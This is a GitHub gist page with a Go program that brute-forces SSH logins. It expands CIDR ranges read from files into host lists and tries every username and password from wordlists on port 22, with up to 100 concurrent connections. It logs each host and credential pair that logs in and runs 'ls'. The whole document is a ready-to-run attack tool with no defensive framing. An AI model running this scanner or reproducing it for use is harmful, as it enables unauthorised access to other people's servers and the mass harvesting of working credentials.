Skip to content

Instantly share code, notes, and snippets.

@oiooj
Created January 24, 2016 10:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save oiooj/ebf4989879a4ceb58d62 to your computer and use it in GitHub Desktop.
Save oiooj/ebf4989879a4ceb58d62 to your computer and use it in GitHub Desktop.
package main
import (
"bufio"
"fmt"
"log"
"net"
"os"
"strings"
"sync"
"time"
"runtime"
"github.com/oiooj/ssh"
)
var (
timeout = time.Duration(5) * time.Second
checktimeout = time.Duration(1) * time.Second
concurrence = 100
wg sync.WaitGroup
mu sync.RWMutex
port = "22"
ipfile = "./ip.log"
userfile = "./user.log"
passfile = "./pass.log"
logger = log.New(os.Stdout, "[SCAN] ", log.LstdFlags)
ip_dic []string
user_dic []string
pass_dic []string
ipmap map[string]bool
maplock sync.RWMutex
)
func Allhosts(cidr string) ([]string, error) {
ip, ipnet, err := net.ParseCIDR(cidr)
if err != nil {
return nil, err
}
var ips []string
for ip := ip.Mask(ipnet.Mask); ipnet.Contains(ip); inc(ip) {
ips = append(ips, ip.String())
}
// remove network address and broadcast address
return ips[1 : len(ips)-1], nil
}
func inc(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}
func ReadLine(fileName string) ([]string, error) {
var res []string
file, err := os.Open(fileName)
if err != nil {
return res, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
res = append(res, strings.TrimSpace(scanner.Text()))
}
return res, nil
}
func init() {
var err error
ipmap = make(map[string]bool)
ip_dic, err = ReadLine(ipfile)
if err != nil {
logger.Fatalf("read file %s failed: %s", ipfile, err)
}
user_dic, err = ReadLine(userfile)
if err != nil {
logger.Fatalf("read file %s failed: %s", userfile, err)
}
pass_dic, err = ReadLine(passfile)
if err != nil {
logger.Fatalf("read file %s failed: %s", passfile, err)
}
}
func main() {
runtime.GOMAXPROCS(runtime.NumCPU())
start := time.Now()
concurrenceLimit := 0
for _, username := range user_dic {
for _, password := range pass_dic {
for _, cidr := range ip_dic {
var ips []string
var err error
if ips, err = Allhosts(cidr); err != nil {
logger.Printf("Get all ips from CIDR failed: %s", err)
continue
}
for _, ip := range ips {
maplock.Lock()
if _, ok := ipmap[ip]; !ok {
ipmap[ip] = true
}
maplock.Unlock()
if concurrenceLimit > concurrence {
for{
time.Sleep(checktimeout)
if concurrenceLimit < concurrence {
break
}
}
}
maplock.Lock()
if ipmap[ip] {
maplock.Unlock()
mu.Lock()
concurrenceLimit++
mu.Unlock()
wg.Add(1)
go func(host, port, username, password string) {
defer func(){
wg.Done()
mu.Lock()
concurrenceLimit--
mu.Unlock()
}()
hostport := fmt.Sprintf("%s:%s", host, port)
client, session, err := connectToHost(username, password, hostport)
if err != nil {
if strings.Contains(err.Error(), "i/o timeout") || strings.Contains(err.Error(), "connection refused"){
maplock.Lock()
ipmap[ip] = false
maplock.Unlock()
}
logger.Printf("connect [%s] failed: [%s]", host, err)
return
}
_, err = session.CombinedOutput("ls")
if err != nil {
logger.Printf("exec command failed: %s", err)
return
}
logger.Printf("connect [%s] [%s] [%s] success !!! ", host, username, password)
client.Close()
}(ip, port, username, password)
}else{
maplock.Unlock()
logger.Printf("skip %s", ip)
}
}
}
}
}
wg.Wait()
dis := time.Now().Sub(start).Seconds()
logger.Printf("Total time : %f seconds", dis)
}
func connectToHost(user, pass, host string) (*ssh.Client, *ssh.Session, error) {
sshConfig := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{ssh.Password(pass)},
}
client, err := ssh.Dial("tcp", host, sshConfig, timeout)
if err != nil {
return nil, nil, err
}
session, err := client.NewSession()
if err != nil {
client.Close()
return nil, nil, err
}
return client, session, nil
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment